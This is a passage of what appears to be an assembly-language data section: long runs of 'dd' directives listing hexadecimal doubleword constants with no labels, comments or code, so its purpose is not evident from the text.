17DE26CDh, 2036840Ch, 4AB4A8DAh dd 972028E7h, 174CC995h, 7CE02302h, 0F65C2A2Ch, 0E2992FD9h dd 0AD7060B8h, 0ED89274h, 66C71254h, 516E091Fh, 0FDF2002h dd 2BE68482h, 0F72F706Ch, 0B01042ADh, 21F53Ch, 936F2D45h dd 40EA142Ah, 17FEE000h, 0F932D9C2h, 762B0299h, 829DAF31h dd 449D20D2h, 18549AA8h, 8FA8012h, 1D78640Ah, 7E6AC805h dd 40F82F49h, 6C489DF0h, 6CA2174Ah, 9F2EFD00h, 8C982853h dd 12F62530h, 1EBEB25Fh, 1417DD04h, 2D000846h, 0DFD7442Bh dd 9CF495AAh, 0F42824BCh, 2EA1CD07h, 0C08EBD0Dh, 2CBB270Ah dd 7CF64D7Eh, 0E2587C17h, 2A6DC6F0h, 1BC9EB0h, 96646F21h dd 0CCD82A08h, 1238746Bh, 81B17EA4h, 7BEB6794h, 5C69CC71h dd 7E415880h, 74152082h, 3038FC77h, 9CD589F7h, 82AC8F28h dd 405B88F6h, 12B4143Fh, 0ABD746CFh, 3BE67F06h, 5A200038h dd 0DBE0B71Ah, 60507994h, 0D3ECA8A0h, 7A74EC01h, 6B5F9CB1h dd 0A467803Bh, 0B90D4BFh, 0A7009676h, 0DD7827E8h, 3DCAFAAh dd 9CD91A6Bh, 8000E7FEh, 0F0F266FBh, 0D8949Eh, 0EA9A27B9h dd 0DB09AEA5h, 87A91B01h, 15A7483Bh, 7129FF0h, 29DDB7C9h dd 0C78589h, 8CC6B308h, 9E03EC59h, 0EB28D868h, 9A47E721h dd 84EF808Fh, 3A5F5471h, 1860CB83h, 76640C2h, 11D86906h dd 38D28Bh, 59375A9Bh, 661C36Dh, 0CB69F600h, 31BCEB86h dd 0C15B7DA9h, 0C1BA9A28h dd 7079DB47h, 8F5F2A3Fh, 8329522Ch, 0D006BE30h, 3151A3DDh dd 63885DF0h, 9CE9F044h, 0D8102C60h, 2F49129h, 0F1EA4C0Ch dd 60812DB8h, 425C83h, 0C0A5DBD0h, 0BE346130h, 7590C1BCh dd 0CF27B8C0h, 0F85CD78Ch, 60F9F8C0h, 8380409Bh, 0CE832656h dd 5018F060h, 172B0D5h, 8CA6B3A5h, 8A22D2C1h, 6C5EA948h dd 83D09800h, 75992C1Ah, 0E6A13378h, 3030AE18h, 7CE960DFh dd 608DF06Dh, 0CEB1401Ch, 3C01CF8Ch, 0E22AC6BEh, 2660E4E1h dd 613B4891h, 606C2D18h, 33030252h, 6551B6B7h, 0E1D81677h dd 0C0EE1DF0h, 0DAC1971h, 4F00BF2Dh, 0C161B116h, 3AAEE59h dd 8339B46Bh, 900FE2CFh, 677C4E8h, 2AD8B89Eh, 52F8DC6Eh dd 0AF3FB005h, 86CFE8E3h, 0C78E1005h, 80210642h, 1980A4FDh dd 11FC6D25h, 0A8D4E2CAh, 7DD020Fh, 878CB8EEh, 0AE325588h dd 11036066h, 28D460CDh, 2C9AEBF9h, 0FC057CF0h, 0B8CAE59h dd 40C48401h, 6092B572h, 0E501EB1h, 69CEE5Fh, 4073C111h dd 0BF6D4607h, 614686ABh, 0C31E1D38h, 88528026h, 0B6899FEh dd 511B647Ch, 9DD83421h, 3E181Eh, 0E3793BBh, 77E14838h dd 7AB10402h, 8A6441CBh, 577D0038h, 0AC371CF6h, 85C10069h dd 0A9E0525Bh, 2302AE8Bh, 99E99AC6h, 0FB5F6073h, 0E89D3011h dd 0AB359A8h, 0E9ED8F00h, 99D17BA7h, 94111837h, 541B2077h dd 5F19B891h, 6843C478h, 6BB009FAh, 5C22D8C1h, 384460A9h dd 8890B824h, 5FC1826Fh, 52A0A75Ch, 20D8A2F8h, 0A801AD89h dd 18014488h, 0F63151F5h, 24974094h, 630E1109h, 0AA1C9007h dd 0EB5B004Ch, 4CF4EF9Eh, 9F0AF676h, 0DCA4CD2Ah, 0B440D610h dd 0E04CF0F3h, 8ECA0760h, 4B338802h, 19EEF0Fh, 0A6C204EAh dd 5168806Fh, 0E62EC893h, 77CA008Dh, 0BEE9E099h, 0C3041937h dd 6BB811ECh, 36502CD1h, 0C65F26E0h, 0FAF1EB98h, 4380749h dd 0E6FC9D23h, 509B00C8h, 4010B058h, 0EB50F284h, 0B42483E4h dd 0F41978C2h, 5C2029A8h, 0A56C3C84h, 9983C406h, 2A0E20ADh dd 62E02CBFh, 0AA8F81C1h, 900188A4h, 3167ADC2h, 2A525FE0h dd 41DC9FDDh, 2AC0C264h, 181FC3E8h, 0A0281A84h, 115BC602h dd 60E4EF9Fh, 0C0EEF928h, 3C632118h, 0D904C350h, 0D569F3F5h dd 0EC50DCC7h, 7051F4DEh, 6260C51Eh, 59C8620Bh, 6221F10Ch dd 7599C885h, 1C1C4C23h, 10C1B228h, 6D8E0CE2h, 0C925218Dh dd 7080F2E9h, 11F8B029h, 50C3C87Bh, 0C1E1575Bh, 0B050F13Eh dd 40DDC24Bh, 7C12B1BDh, 18219AEAh, 48225CA9h, 4CEC9B04h dd 11E881CBh, 0A0F23149h, 0A7F0D068h, 45C1E8ABh, 9F2FE034h dd 8F1D10C9h, 758A06F7h, 30BB1210h, 0B8D00064h, 88840861h dd 18383C60h, 3A5FB08Ch, 17C30CFh, 73DB2BC2h, 30CABBE9h dd 0A80143BCh, 1358BF8Dh, 383070C0h, 9BF740B6h, 1A38623Ch dd 0A10DBA5h, 0C8306DB0h, 0F0F107D9h, 10AB61C0h, 415FA935h dd 339DE96Ch, 20C6208Ch, 0F900BF7Ah, 52056E82h, 1501EBDFh dd 0B0DD83EAh, 31C00072h, 16597556h, 4E038145h, 0AF5FE051h dd 0EF70106Eh, 9FD7017Ch, 813F05B6h, 4F53CC0h, 0C052364Ch dd 3264C0FBh, 0E8985F29h, 499F143Ch, 409C887Ch, 14EBC25Dh dd 5E001498h, 8904EC83h, 0B9240Ch, 451F29E4h, 0D975E941h dd 0BA00FF71h, 6B2F19BEh, 0A245431h, 35585A04h, 3C8B180Bh dd 507096E9h, 0D3EC5CE0h, 810C4960h, 3B5D28C6h, 0EE0144D6h dd 43262783h, 0C0E9F001h, 8962EB67h, 0EE835877h, 0B9103AFBh dd 0DC10A0Fh, 4A1E0446h, 240F8F75h, 5BC7815Ch, 5E228512h dd 55DC6050h, 58080087h, 2D40D0F7h, 7877AACAh, 0E9C18906h dd 6F38038Ah, 65064CFFh, 0C700A70Ch, 12D11BE1h, 656525Eh dd 75629FBEh, 0A279B653h, 0E9231406h, 313286E0h, 60423C87h dd 0C166004Eh, 0F0874E3h, 54F7EB81h, 8BD93120h, 831F241Ch dd 58004C4h, 0AFE92DDAh, 0C6C1CF38h, 4C348786h, 0A4C7020h dd 0B7B9514Dh, 312807B6h, 3C0CEFCDh, 5301501Ch, 7B18BF57h dd 0BA8047BBh, 0DF648C6h, 0D628E956h, 13AA1FEh, 5D5860EFh dd 0FCE38953h, 1CFD6027h, 88F3EC80h, 0BFBAE250h, 4B5A5E60h dd 86BD55h, 817FD60Ch, 0FF3223C5h, 0EB29DE02h, 2FA78E9h dd 9F878B66h, 60FBA250h, 1C77A8A1h, 0C958F99Dh, 9C208311h dd 3BD29BE9h, 96585E34h, 0CE1B644h, 757B4648h, 1806FF4h dd 0FC2FADAh, 3F995621h, 5B8ACBA5h, 8B924E92h, 6EE7B9A2h dd 0E3143303h, 52063A31h, 83FA2C3Fh, 0D5F70D02h, 902A88E9h dd 0A1195851h, 4E104C4Fh, 5590DEF7h, 866FFB00h, 0E9F10948h dd 3C37679Eh, 91B06354h, 8E6CBF31h, 7AE87CC9h, 104C6F01h dd 480C448Ah, 0F65994BEh, 48028B20h, 0E868F835h, 0E7878442h dd 0D307590h, 81430113h, 142806F1h, 2BE9D822h, 0FE2091Dh dd 428D4A4Dh, 6C405021h, 0BFD105h, 0EF81D7BCh, 7BB868B0h dd 0B2070590h, 1332337h, 8041C6Dh, 70EA840Ch, 7B2E9056h dd 9043EA7Bh, 386E125h, 24E3B1E9h, 0E8C14000h, 2EA13503h dd 25300081h, 6EF7087Bh, 7A60ABE9h, 5693D38Fh, 9EE65189h dd 9844CA49h, 146D0615h, 73C9895Ch, 0EC50E57Fh, 0D424E90Fh dd 2ACF2AE2h, 8998CA06h, 24B46810h, 89AFB41h, 0AD229382h dd 0DED35DA3h, 49FA2C60h, 322205Eh, 128CB850h, 187B6D68h dd 52AE1A3Bh, 0BC084189h, 5CC4AA71h, 0B324D2FEh, 19094C93h dd 0C39620E5h, 0F4DD8845h, 2A8360D0h, 1D3FBC68h, 7C823458h dd 406DCF49h, 601E36A7h, 0A5C86396h, 725413ECh, 809868B2h dd 7DC08C6Eh, 0F248C4CEh, 1F6EC63h, 8222C930h, 2462E2E9h dd 0FBC9D390h, 2727AF5Ah, 0EF675BDFh, 8B47A769h, 3924B3FAh dd 0E00A501Dh, 1A883605h, 0FFB9011Bh, 223CA25Fh, 10C61339h dd 1DECF711h, 0E047550Dh, 237C112h, 49DFBAD3h, 520966CAh dd 0D608E289h, 8029282Eh, 15CA0106h, 0D6145CE9h, 6CE1B39Bh dd 214A8CDBh, 8514FD8h, 0C181E189h, 0F80C8346h, 247432FFh dd 0BE444D36h, 2AB8EF07h, 49B538E6h, 9329D155h, 1B6D6320h dd 2D7B0DCCh, 0C4961829h, 7A105C8h, 9BD64159h, 0BD11C548h dd 1F270958h, 0C7FD8A6Eh, 6400E09h, 8803FF6Bh, 14533CBh dd 0D1BA5201h, 0F013697Fh, 77FAFEF2h, 0CA000F76h, 170A2358h dd 0C053F7E9h, 0E2222D94h, 109881Ah, 18758C5h, 9274E986h dd 348EF1A2h, 84103A1Bh, 4019C974h, 0B5C5F67h, 0CFF2E48h dd 273393E9h, 0BF60930Ch, 0AC65AD4Ch, 46C7EB83h, 50A1BD9h dd 5358540Ch, 52D636BBh, 0FD152920h, 7098440h, 48117E88h dd 840A0CFh, 0D329359h, 2008D366h, 0CF40A9A3h, 0D7F50581h dd 8041B978h, 7248E41Fh, 0E5C1020Ah, 0C803B808h, 0C8442513h dd 58105EFh, 6F610BCFh, 5364906Dh, 427D240Eh, 5C2DF700h dd 0FD31E1A1h, 0A835B05Fh, 2A685B1Dh, 0A3F728A8h, 7C64C121h dd 121BFF58h, 1725231h, 34E9C882h, 0BB18501Ch, 672C7D23h dd 6A077806h, 0A69C7E6Eh, 5EE91203h, 875D228Eh, 131CEF40h dd 7BFB0082h, 904D5810h, 513E0C7Fh, 690C6E25h, 4903F501h dd 685AD629h, 0CA516AF9h, 2D00FA5Eh, 0C40F350Fh, 86E82943h dd 0A8692146h, 0A68F5F73h, 0E9521BD8h, 0F8A93B5Bh, 90FDBDCEh dd 0A94C8456h, 4D51457Bh, 6D4A0C6h, 8BEA2909h, 8714382Ch dd 80CA9A14h, 0E98B54E8h, 1240114Dh, 7CBC21A4h, 40F3001Ah dd 0C15C6457h, 0FC9804EBh, 5E95E914h, 0AC598860h, 3DFD08FEh dd 333ABA00h, 904279C2h dd 1FEB1D65h, 1D06E49Ch, 3EF82A1h, 0FF80D7F7h, 9B16C3E7h dd 0CAF87A76h, 3B093AEEh, 805FF821h, 0FC147D30h, 0C831004Fh dd 674A0559h, 2500078Ch, 16411ADFh, 5AC6F2Dh, 62E9B2DCh dd 599905D8h, 0BAA60451h, 218A410h, 56649h, 0F8284FB7h dd 0C7F29FE9h, 3760430h, 61A72CF0h, 22148BD3h, 0D8281FC6h dd 0E7937D1Fh, 0AE0EE824h, 0E6669E57h, 46D3D115h, 0DA4F49E5h dd 0D068C412h, 206B8C27h, 56E82E33h, 0E91609A2h, 8741F0FFh dd 68585AD1h, 4DB05CC5h, 15E0BA9Ah, 0E9795706h, 594775EDh dd 31926AC7h, 16FAA210h, 4A4786BEh, 5942048Bh, 0D601685h dd 2689F729h, 5835FFEh, 8035494Eh, 3C1BC101h, 12EA972h dd 8205AF1h, 0C02A4ED5h, 2959CB89h, 32384A5Ah, 478A568Ah dd 725F83CEh, 0DEC24E78h, 54E37841h, 3B25D6CDh, 555D32F6h dd 0D27052CDh, 80653E15h, 49F07B5Dh, 19EA33E9h, 8EB15A16h dd 82E4285Bh, 680CD25Ch, 0A661EA68h, 499DF0D7h, 0C70D1E79h dd 20303302h, 6FC013B6h, 0C27978F1h, 0CF915C55h, 1AC13112h dd 0BA050853h, 0DDBB9070h, 3E64CC68h, 5813453Ch, 5935A47Eh dd 8328E83Eh, 6F7B58EBh, 0B4CBB074h, 0C04EEC78h, 6D59EA18h dd 0E9185625h, 44287F0h, 8CEF9449h, 281473B5h, 0F959CE38h dd 0E5674C32h, 9A2B0F2Ch, 0B0294AA4h, 1F5914B8h, 8B1C2327h dd 2210C083h, 0F052215Ch, 0C009C0EAh, 0F7FA850Fh, 6ED8C72Ch dd 27C20168h, 483CE95Dh, 9AC50964h, 7C20E8A0h, 31CC7FB6h dd 0D11EF71Fh, 648570E6h, 68B4541Eh, 0C201D6D6h, 0E9FC5E77h dd 93EBB521h, 6CE4B7FDh, 505384D0h, 0FB83166h, 231624E2h dd 20984C90h, 0FE013F72h, 6900B0A7h, 0C8AF0F66h, 0FAA051E8h dd 4CBACC47h, 6435F849h, 67E4756Eh, 0BF864061h, 0FA849EB1h dd 80C8525Fh, 0DA868A5Ah, 5B492207h, 12513D71h, 5E984043h dd 121D61A5h, 7007E8C1h, 0D0003B5h, 277642F8h, 711C0548h dd 89ED1887h, 80C032C3h, 0FE616681h, 58992D22h, 0B30B6054h dd 1420E394h, 2ACF6810h, 7F5D267Eh, 4D02400Ch, 12C6750h dd 0EB13B1FBh, 4BF12D50h, 1A5EB076h, 6F506D68h, 52668283h dd 3EE2BA90h, 1F789ECAh, 2F6859C0h, 837DC638h, 0E54C3F3Fh dd 653C042Fh, 0FEC008BEh, 0A4F724Dh, 6E04E945h, 353EBC69h dd 0E5461067h, 0A12C9765h, 60160F97h, 0B7A8ADEEh, 5160ABBh dd 400848CAh, 0CE290C45h, 64447E84h, 61315540h, 0AA0E38E0h dd 0B218A0AAh, 0F9B450D8h, 0A3F47DF8h, 0D6C2C5A4h, 1A660A89h dd 1D605F31h, 5B753304h, 0CF80D1A1h, 0D090EC76h, 4AD65752h dd 6F636406h, 0B38A6385h, 1C37335Ah, 1A6B0631h, 68AD071Ah dd 5BCC0C25h, 45B00C50h, 686F01B3h, 7B18D32Eh, 8007B160h dd 662301E1h, 0E9B3B753h, 4B91284Fh, 0FC0D8B36h, 29A3C47Eh dd 0FD41C3D7h, 2C7715A9h, 895A0B2Bh, 0D96F8h, 6208C705h dd 2DF80125h, 0E1E907A1h, 96467209h, 0F2683523h, 20D9EC6Ah dd 0E9185A43h, 850B2F75h, 81AEC0CAh, 8833E2C3h, 2872EDE5h dd 9E59248Bh, 28404848h, 0B305AD0h, 0C0B60FC3h, 5FE9DBA3h dd 66684D09h, 9A089B71h, 3DBE41E2h, 0B0EB8000h, 514CADA1h dd 420ADCh, 72C6FE5Bh, 32E67B80h, 0BD16063Eh, 9EF46A64h dd 0D1E97248h, 685105F3h, 1F8C6253h, 8818D481h, 1F761D3h dd 81EC20C1h, 2554F40h, 881D6B68h, 5F785D26h, 5038B620h dd 4C53C530h, 10F3786h, 0E7E6D6F6h, 584C1E65h, 0EED52632h dd 8F01E7A0h, 297D6936h, 32305BD8h, 34353C02h, 5511A501h dd 486AA6E9h, 1A12F7D8h, 5F877554h, 0B357AE2h, 0D0067F2Fh dd 0BB005ACBh, 750257DDh, 1CEFE381h, 965EF747h, 9B5002D3h dd 4161A5A4h, 77D2CBBh, 4E6C146h, 74E4C894h, 12E0EF3h dd 167656D7h, 172901F1h, 0F3E43660h, 0C74C507Fh, 582920A3h dd 3817DD41h, 0B78450DDh, 0E681F48h, 0C2FE95B4h, 77D25752h dd 0B920B891h, 691834Dh, 0EF5C6705h, 0FCF5AE4h, 27B766B0h dd 28C99605h, 0AAC82824h, 0E7C09F00h, 70C78006h, 5BF816E0h dd 847B6459h, 52FAC56Eh, 0EDBE8DBCh, 0D24F8C15h, 8A0C612Ch dd 0D2B9B40Bh, 6134042Ch, 0FA51C744h, 3E815A0Bh, 8847EBA0h dd 14CF4C76h, 80DF80BEh, 635D2308h, 0ABC3F301h, 0E5934E9h dd 0C6CB020h, 0B31901D3h, 0DAD83050h, 706806E8h, 8496764Dh dd 0BB4377B2h, 29A2C5CEh, 7DD04562h, 7090564h, 2EE22F81h dd 2AC75328h, 0B962C07Ah, 6C1D0CD1h, 7C6B316Eh, 8410DEA4h dd 42015C2Ch, 151D1C2h, 1A1ACC24h, 0ABE36123h, 6515E769h dd 28D480C8h, 6A4C5B59h, 8696E6E6h, 0E97C0269h, 78ADEBF1h dd 72D43439h, 701481F7h, 0B24F2030h, 58B6D749h, 445948BEh dd 220EB2Fh, 535C4B87h, 6C2A0235h, 0BFD8C480h, 112A60E7h dd 5E165BD2h, 508C4632h, 6850074Dh, 0CBC07613h, 5015745h dd 0AE3F8A19h, 716B742h, 74B640B1h, 0BEF6CE30h, 0F7614762h dd 0D392A21Ch, 9C0EECC7h, 70103EE6h, 290D000Ah, 556E573h dd 197500FAh, 69E92D61h, 12670EBh, 43BC0C6h, 0EC835A8h dd 80FE2B86h, 0D2335E08h, 56E7126Ch, 56D0022h, 7EFBBC2Dh dd 0C781BF01h, 56542A80h, 841CA69h, 70F4CE42h, 2D38E76Ah dd 9AE953A0h, 9B256F4Fh, 59070A59h, 0E90715B1h, 0F7F32421h dd 134FD73Ch, 6340DA6Dh, 199A3ED5h, 625C6A31h, 9B24E3h dd 369235B1h, 0CD6045E9h, 0EE815F2Ch, 0D4D04E1h, 0C2F08942h dd 0DED84770h, 96082D58h, 5A9DCB80h, 0E96D1A35h, 490941B4h dd 0BA053B6Ah, 8E52C1B5h, 6976D56h, 6BA958C7h, 6333FCC9h dd 8EEF1D59h, 0C156D3D0h, 0F302E73Ch, 5958F10Ch, 3E2C1E03h dd 0E9131008h, 2DC88596h, 7BEAD8AAh, 66ECDC2Ch, 0D420DA16h dd 73192ACDh, 0E5C11E23h, 0ACED4004h, 1EF719Bh, 955DEE24h dd 5D30524Dh, 9F7605DDh, 90B0E94Dh, 2F47BFCBh, 936DC42Eh dd 0C8C2F816h, 416642ACh, 9630F199h, 0F9880749h, 3AB045Bh dd 66A12CC8h, 280CE059h, 523B3A98h, 0F6E908B6h, 0E801097Ch dd 2D13ED65h, 0E4A99037h, 49E7E662h, 5EC3FC56h, 13135568h dd 0B7C2FBE9h, 0CEAF8856h, 0E142C0A6h, 523066CAh, 5660395Ah dd 157570A2h, 5EEC102h, 6449A1E9h, 0C0B43809h, 4DF4E32Eh dd 9614C960h, 20C01C77h, 3A076A2Dh, 1FF02ACCh, 0C9C8CF32h dd 994E3B04h, 0A5F0303Eh, 0B90E8089h, 5FDF026Fh, 59334D15h dd 5F724869h, 9E970B4Ch, 0AE680BFEh, 71781A34h, 1B77402Eh dd 12F76AEh, 95C9A44h, 0C535410Ch, 0B0337E79h, 6B87B406h dd 0E9A4988Eh, 75D3A860h, 812BAB60h, 3073EFC1h, 980C1F21h dd 107C1E60h, 50004498h, 0CA319A4Dh, 0EEC02D59h, 68F5FF0Ah dd 0EC414275h, 60680B08h, 33430AA5h, 443112CCh, 0E71ACB8Eh dd 84607BF3h, 5EF2014Bh, 16C27E83h, 346EF168h, 49288943h dd 236C1B3h, 0E231C109h, 517120h, 569FD43h, 397656C3h dd 9A132D07h, 80E9A373h, 18167BC9h, 1E587D32h, 0FAA42703h dd 0E1FE54B3h, 9BF9D0B5h, 75BC125h, 8904D329h, 0A61D0F12h dd 0A1413B00h, 98F90168h, 420B0243h, 58E90945h, 0DFC74D8h dd 112C3E13h, 0E5E74800h, 0F86A5A7Ah, 713354C2h, 13C4C055h dd 0E912C70Eh, 9A764E25h, 0A4576543h, 0A4AA29E6h, 0D8C88DDh dd 509BD00h, 2E683B5Ch, 600651B4h, 0C86B01BFh, 6C8E3360h dd 0E51647Fh, 0EFD1DFF7h, 27DEB9A0h, 26902098h, 0CA8901F5h dd 560ED432h, 8AD61568h dd 575E028Ah, 48EE77E9h, 79A1C62Bh, 0F4267632h, 521D136Fh dd 3B57CB6Dh, 90562FC6h, 0B44DA51Ah, 6B83E787h, 0D15C96E9h dd 9B92D34h, 52150DE9h, 13AD22F6h, 2535C65Ah, 0A0083832h dd 5756AD88h, 409E0F68h, 76A9220Ah, 0EC5C86E1h, 669C24D6h dd 0D8A9BE43h, 54E97AB4h, 1BFCDE7h, 4E476D83h, 0CD5FFB29h dd 0E23A31F3h, 0C8648A41h, 77DF54D6h, 0B3045A53h, 8011EC77h dd 80102D96h, 6C4976B0h, 52586847h, 8B004543h, 94E2736h dd 64FE9F3h, 7DD7F10h, 0AC7372Ch, 26EB68BEh, 0C53B24D3h dd 0E3B32557h, 7A345A55h, 285F8AA3h, 7B41CE44h, 3DD69F20h dd 1413ECD0h, 62FB8C02h, 3116FBB4h, 68EB3BC0h, 553C3F4Ah dd 8BDC6E24h, 7A00F680h, 2C5A66F0h, 0F83A7E70h, 59267604h dd 9713575Bh, 28E75F04h, 55DD8956h, 0B7EA8388h, 878825C7h dd 309671C3h, 0C0516CF8h, 0C0FED0F6h, 7482762Ch, 0E9010AD8h dd 89B47910h, 6689A8B3h, 87838524h, 52C982AFh, 20DBF1ADh dd 5F32F94Eh, 94F4DE51h, 0D83024E1h, 14C15A6Ch, 0A7C86847h dd 21901DC4h, 3D58E8BBh, 0B2272AE4h, 6968EF83h, 0F5A836FDh dd 1D80E91Ah, 13565217h, 335ABF68h, 81C85121h, 55267034h dd 0DC035659h, 0EBFBA3F4h, 0EA122E5Ah, 0F2E04F7Ah, 1C180CBAh dd 331A18C0h, 1F0145D4h, 0A8525AD5h, 1F2DB07Dh, 3B0A2415h dd 4156C503h, 2A682604h, 1C34081Ch, 0CC131413h, 1BB1A8Ch dd 4B9B2305h, 0CD5BD901h, 0BA0A0D1h, 4957CB2h, 0A31206C7h dd 59CD1F4Ah, 1082D84Ch, 20B3B021h, 6096127Ah, 5294F301h dd 37205491h, 0FC5800FAh, 0E9D92106h, 0ACA807FEh, 0DD4851D2h dd 401825E1h, 61DAF748h, 7CF5C887h, 0BC36FD09h, 2CFD09D4h dd 19C3844Bh, 38BC0712h, 14DB306h, 8EB7428h, 0C568DBB1h dd 30370709h, 486523DBh, 0F11E5F9Fh, 6204AE8Bh, 0ED93156h dd 50106885h, 0AC091E5Eh, 0B6292274h, 246F6520h, 0A45E649Dh dd 0E801C1B7h, 68C83118h, 2B73297Fh, 0F712A149h, 6E7B0CD7h dd 0F4CF059h, 569A3Dh, 0EE5EA47Ah, 82017612h, 0B880800h dd 9695585Bh, 0C17F2065h, 0FE202E97h, 5D16079Fh, 0C4FE65C0h dd 83EC3E80h, 0D00A2912h, 0A252C098h, 0CB581D3Bh, 0E7127B12h dd 28C00485h, 955F5457h, 34DF83B1h, 2AB35B59h, 331017A6h dd 0D063136h, 993E5C5Dh, 5512020Ch, 85DA391h, 0BD3554E9h dd 80439089h, 3F031381h, 61190579h, 20C2851Ah, 6817EFA2h dd 691A4631h, 369D4C1Bh, 5DCAF110h, 0F2A8DBF0h, 0D84F31ADh dd 401B162Ch, 530E5BDDh, 4380EFB7h, 0CFFC0859h, 6ED0C69h dd 2BE92492h, 3B6A5021h, 0E391FAA6h, 7D389643h, 89E556F5h dd 5205234Ch, 0C04FE06Ch, 82059B70h, 0F1001776h, 76944ADEh dd 0A53F01E9h, 0C839A20h, 8FD48172h, 6B4077ECh, 49101BEh dd 0A9681971h, 0C0343C41h, 1EEC2896h, 13547801h, 80F4E908h dd 3569B8A7h, 933B3C13h, 0BD6C5DA1h, 39582500h, 0AD057509h dd 46036F01h, 0DB5C5D35h, 130B58A6h, 0E9F2CC50h, 48EE254Dh dd 27ED132Ah, 5EC9AA35h, 4B62FA82h, 18C35FAAh, 1E082AC7h dd 9711125Dh, 5202E4FFh, 65ED7ACDh, 0EC0B9175h, 0E9C09C4Bh dd 7D50DF20h, 680612C1h, 25F721B9h, 858D0257h, 81A050AAh dd 0BDFE40D1h, 2B4CE804h, 0C6D0F75Ah, 903F1BF8h, 3BC669B6h dd 0E168E1A1h, 0C8364Eh, 21D615B1h, 0C413A2E9h, 8002EA7Fh dd 767D2764h, 0B30C1A60h, 8007E209h, 602C8E6Eh, 4D8412DFh dd 0DBF13DE9h, 0CAF3032Ah, 21B31A69h, 5817A5DCh, 0D90035CAh dd 5586B48h, 1E94D6A8h, 9C289AAh, 5B0277FFh, 53917672h dd 7FC3ECEBh, 4BD4348h, 7249AA05h, 25E9FDE4h, 7FE860E5h dd 6D095AC7h, 0D801222Eh, 4C0883AEh, 0C82A4B8Dh, 25F49ADCh dd 0F5651C87h, 62E0E986h, 0F72D0559h, 8213754Ah, 330416E7h dd 0FFC4A6BCh, 0BF034404h, 0DC9F0013h, 8139B821h, 4FA4E207h dd 0CA606C91h, 0A09C0A30h, 210F2B4h, 4238A319h, 0A40D2F7h dd 3F7212AAh, 0E9D58906h, 702553h, 0B565162Dh, 5D80172h dd 315B07A0h, 0AAE9C313h, 0EEDDFEA1h, 91382ADDh, 2F2813Bh dd 1669F4Ah, 43E15EF0h, 0A55C7D02h, 1CE3FA94h, 2E565650h dd 857A8DE9h, 0A0F1F65Ch, 1ACCCC7Ah, 5817D8Fh, 0B56F78CEh dd 6B9B8253h, 1C20C852h, 0CFFE020Fh, 0E7C0DFF6h, 6CAE9F60h dd 0B5B34082h, 2E57817Ch, 0DAFDB929h, 5036628h, 1CD95A2Ah dd 93739CA8h, 827555h, 0BB3A809Eh, 0BE565102h, 0E0E20153h dd 1EF6EA58h, 5A0DCB15h, 80228F2h, 0DE4FAE9h, 841E930Bh dd 0EF48063Bh, 4646946Ch, 3A9DC1D1h, 87061075h, 97A4A40Ch dd 88E2908h, 33122942h, 0E62956C9h, 3B04A7Fh, 5EF101DCh dd 8959CA99h, 22F42A0h, 4890E9E3h, 3C34B1E2h, 4397CB28h dd 0E37B3023h, 0D22C0794h, 0F100D578h, 1CA2C51h, 0E2E927DAh dd 7289C5CAh, 0F54B3258h, 0B6CB2416h, 4CABC300h, 30FF18DBh dd 0BD9DE918h, 48F7B240h, 0C014F888h, 511B88EDh, 0CA053563h dd 346B4947h, 444282h, 0F71899BDh, 0A832647Ah, 0D4E887F6h dd 9790A268h, 0E3B57433h, 0E9A898FBh, 501D40C1h, 4D67B800h dd 0F7487CB0h, 4189FCD0h, 6CC520DEh, 795E4A1Dh, 1041C981h dd 5C603F6Bh, 7BAE0FFDh, 1B351E2h, 7F173BF4h, 10C3776Dh dd 31132692h, 40EAA17Ch, 3851F220h, 0E93D680Bh, 0B0C150C9h dd 115A8442h, 5102BD55h, 11566120h, 113E202Ch, 272E5AD6h dd 10C8DEC6h, 56EA6804h, 0E4F43CA8h, 0A1D60D79h, 408AFD00h dd 0ED01781Ah, 804F421h, 0C0DC0FC1h, 8578C804h, 0A57A554Ch dd 93DBA04h, 888DB101h, 7B3441CEh, 5B54013Bh, 12296530h dd 7307E63h, 409CDB4Eh, 5AD301CFh, 538C999Fh, 0E9FA8343h dd 0EBE90298h, 0A4114530h, 0A5517961h, 0B2AD3DF2h, 4AB52340h dd 5B39DDE0h, 9C34FC28h, 0F4052541h, 71D919FDh, 0B63DB260h dd 0B6256F27h, 0ABED9775h, 3EC0A1A2h, 0C14A6656h, 9ABB1D4Ch dd 487C9140h, 0F188929Bh, 34D6807Ah, 50396A12h, 0B4BB0053h dd 897B5161h, 400B5BD8h, 0E6C182E9h, 0A41DEE72h, 0D466317Ch dd 0FC5D5E4Dh, 0F6F602E6h, 0D88087A9h, 0C8F9FE44h, 0E13FC0C9h dd 0B1FBAE06h, 0BA5D548Bh, 0F1C3A2B0h, 0F8BA012Ch, 201AED55h dd 0D00B18Fh, 9EBB0779h, 984B1B0Ah, 52309C8Fh, 63E9E021h dd 700324Fh, 0E8F93A98h, 243B19B3h, 2460F727h, 126BACBFh dd 4433F1DCh, 0D3CEE381h, 28F5CA97h, 493F7B2h, 1E644A09h dd 663C98A7h, 8A5B1D3h, 5817BB5Eh, 0CA4AA02Bh, 12E90C5Ah dd 0FBE1022h, 772A4FC0h, 1D0CB345h, 4FBDD27Eh, 4BAB5F93h dd 96BB5940h, 65564109h, 38440929h, 0C0E81010h, 0E7805A26h dd 0C759FEF0h, 2F075F66h, 0D49E2877h, 0B802C8B7h, 0F94F827h dd 1FE95209h, 81BED378h, 915F8FBDh, 9FBF204Dh, 6E236313h dd 0C394501h, 43204B4Ah, 0B82E0230h, 5BDA3135h, 7776C9E2h dd 0ED46069h, 0E957097Ch, 0AE96231Dh, 0B7386CD3h, 273B9664h dd 6B55A319h, 0CD891330h, 6F092BE9h, 0E534B72Bh, 1FBBC58h dd 0C6B408B3h, 98ECDC28h, 28A6B7F9h, 81EC33C8h, 6EDE607h dd 31C4396Ch, 0FB50BFACh, 5A57022Ch, 50BB6866h, 9A5C1FAh dd 99E95184h, 701CED5h, 721B2E70h, 9D050BECh, 0C116919Ch dd 0F0107E1h, 62D65126h, 0D3F4D3FFh, 0C82998DBh, 28009359h dd 1E664CA4h, 0B8ECFE85h, 0B482D07Dh, 4580B9C5h, 764D47B6h dd 5CFF4D42h, 80168326h dd 98468925h, 0E048D106h, 9C7B25B4h, 6FB24C19h, 0B6CCE42Ah dd 0A67F6FB2h, 2093A0E3h, 34D471CFh, 78A5504Ah, 0E0B8C140h dd 97B50F43h, 2F89C231h, 8E58B4E2h, 0FA4B7F98h, 6AB0E0D0h dd 1E764851h, 18F58A1Ah, 0DE98E552h, 132240A0h, 8167FB00h dd 3649A3EBh, 1F49B844h, 2037258Dh, 0C158DF14h, 180F76B3h dd 80D53AA6h, 79509FEFh, 0DF012667h, 5A082023h, 4B76455Bh dd 